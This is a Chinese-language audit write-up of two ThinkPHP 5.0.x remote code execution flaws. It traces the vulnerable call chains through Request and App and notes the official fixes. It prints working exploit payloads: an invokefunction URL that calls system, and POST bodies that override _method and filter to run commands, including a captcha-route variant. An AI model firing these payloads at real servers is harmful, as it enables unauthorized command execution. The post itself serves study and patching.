ThinkPHP 5.0.x源码审计学习

0x00前言

最近学习PHP源码,主要研究的是ThinkPHP,因此将这些集中来学习一下

 

0x01 ThinkPHP 5.x RCE漏洞

vulhub上下载5.0.x版本的ThinkPHP,然后在http://127.0.0.1/public/index.php上可以看到主页面。

首先主要的RCE的payload如下

http://127.0.0.1/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

从主页public/index.php上面观察,其调用了start.php文件,跟进一下start.php的文件继续跟进App:run()的方法,其主要函数在run这个方法中,可以看到有如下的方法,在其内部有exec的函数,其传入的参数名称是$dispatch

进入exec方法之后,其会对$dipatch类别进行划分,我们主要使用他的回调方法

在跟进Request::instance()->param()方法之后可以看到调用了method方法,此时当$this->param不为空的时候触发调用method

最后直接调用了$this->input方法

在input方法则通过了$this->filterValue的方法,进去之后直接发现了call_user_func()这个函数

根据官网的定义来看其函数功能是调用回调函数,并把一个数组参数作为回调函数的参数,基本的使用方法为

call_user_func_array ( callable $callback , array $param_arr )

在这个地方则造成了命令执行,调用的函数过程为

  1. index.php {main}()
  2. start.php require()
  3. App.php: think\App:run()
  4. App.php: think\App:exec()
  5. Request.php: think\Request->param()
  6. Request.php: think\Request->method()
  7. Request.php: think\Request->input()
  8. Request.php: think\Request->filterValue()

其修复方法是对控控制器进行正则匹配

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

 

 

0x02 ThinkPHP 5.0.x POST命令执行

这个两个版本的都有,又在debug模式下开启的命令执行,也有关闭的。将ThinkPHP的debug模式开启,具体在application/config.php里面将app_debug设置为ture即可

payload为

url:http://127.0.0.1/thinkphp/public/index.php?s=index/index

 

POST:

s=ipconfig&_method=__construct&method=&filter[]=system

或者

url:http://127.0.0.1/thinkphp/public/index.php?s=xxx   需要存在xxx的method路由,例如captcha

 

POST:

_method=__construct&filter[]=system&method=get&get[]=ipconfig

现仓在debug开启的时候分析。首先从thinkphp/library/Request.php这个文件看起,可以看到在Request类中的method方法里面有着主要几行代码,一个是POST传参任意调用Request内部方法,另外一个是__construct方法中对类属性的覆盖

if (isset($_POST[Config::get('var_method')])) {
    $this->method = strtoupper($_POST[Config::get('var_method')]);
    $this->{$this->method}($_POST);

//任意调用Request类部分方法


protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
             $this->$name = $item;
//类属性覆盖
          }
     }
...
// 保存 php://input
        $this->input = file_get_contents('php://input');
    }

同时Request类有几个属性

protected $get                  protected static $instance;
protected $post                 protected $method;
protected $request              protected $domain;
protected $route                protected $url;
protected $put;                 protected $baseUrl;
protected $session              protected $baseFile;
protected $file                 protected $root;
protected $cookie               protected $pathinfo;
protected $server               protected $path;
protected $header               protected $routeInfo
protected $mimeType             protected $env;
protected $content;             protected $dispatch
protected $filter;              protected $module;
protected static $hook          protected $controller;
protected $bind                 protected $action;
protected $input;               protected $langset;
protected $cache;               protected $param  
protected $isCheckCache;  

我们在thinkphp/library/think/App.php文件中发现当debug模式在开启的时候会记录路由和请求信息,调用param的方法,同时Request类中有许多方法都调用了filterValue方法,并且filterValue方法中又有call_user_func这个危险的函数,这个在第一部分就已经介绍的,因此不再赘述

在param()里面又有$this->method方法,跟进method里面又挖掘到了$this->server(),而该函数又可以通过覆盖前面的类属性覆盖控制,server函数里面又包含input方法,而input方法里面直接调用filterValue,从而指定了call_user_func函数进而造成命令执行

 public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->param)) {
            $method = $this->method(true);
            // 自动获取请求变量
......
        return $this->input($this->param, $name, $default, $filter);
    }
public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
........

        return $this->method;
    }


public function server($name = '', $default = null, $filter = '')
    {
......

        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }


 public function input($data = [], $name = '', $default = null, $filter = '')
    {
  ......
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

......
        return $data;
    }

 

当debug关闭的时候

在之前GET方式进行命令执行的时候分析了exec方法,具体代码为

$data = self::exec($dispatch, $config);

在对$dispatch进行switch函数后的controllermethod方法,依旧是调用了$this->server方法中区执行call_user_func函数

  protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
.........
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
.........
            case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
.........

        return $data;
    }

要使$dispatch['type']的方法为controller或者method,发现其来源于parseRule中的$result,而$result变量取决于$route里面程序中定义路由的方法

public static function dispatch($dispatch, $type = 'module')
{
        self::$dispatch = ['type' => $type, $type => $dispatch];
}



 private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = [])
    {
        foreach ($rules as $key => $item) {
 .........
            $route   = $item['route'];
 .........
        return false;
    }


    private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [])
    {
...........
        } elseif (false !== strpos($route, '\\')) {
            // 路由到方法
            list($path, $var) = self::parseUrlPath($route);
            $route            = str_replace('/', '@', implode('/', $path));
            $method           = strpos($route, '@') ? explode('@', $route) : $route;
            $result           = ['type' => 'method', 'method' => $method, 'var' => $var];
        } elseif (0 === strpos($route, '@')) {
            // 路由到控制器
            $route             = substr($route, 1);
            list($route, $var) = self::parseUrlPath($route);
            $result            = ['type' => 'controller', 'controller' => implode('/', $route), 'var' => $var];
........
 
        return $result;
    }

ThinkPHP的五种路由地址的定义方式:

定义方式 定义格式
1:路由到模块/控制器 '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...'
2:路由到重定向地址 '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码']
3:路由到控制器的方法 '@[模块/控制器/]操作'
4:路由到类的方法 '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法'
5:路由到闭包函数 闭包函数定义(支持参数传入)

而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch['type'] 为 method,从而调用call_user_func函数

payload如下

url:http://127.0.0.1/thinkphp/public/index.php?s=captcha

POST:

_method=__construct&filter[]=system&method=get&get[]=ipconfig

最后官方的修复方法是对$method方法进行检验

 

Reference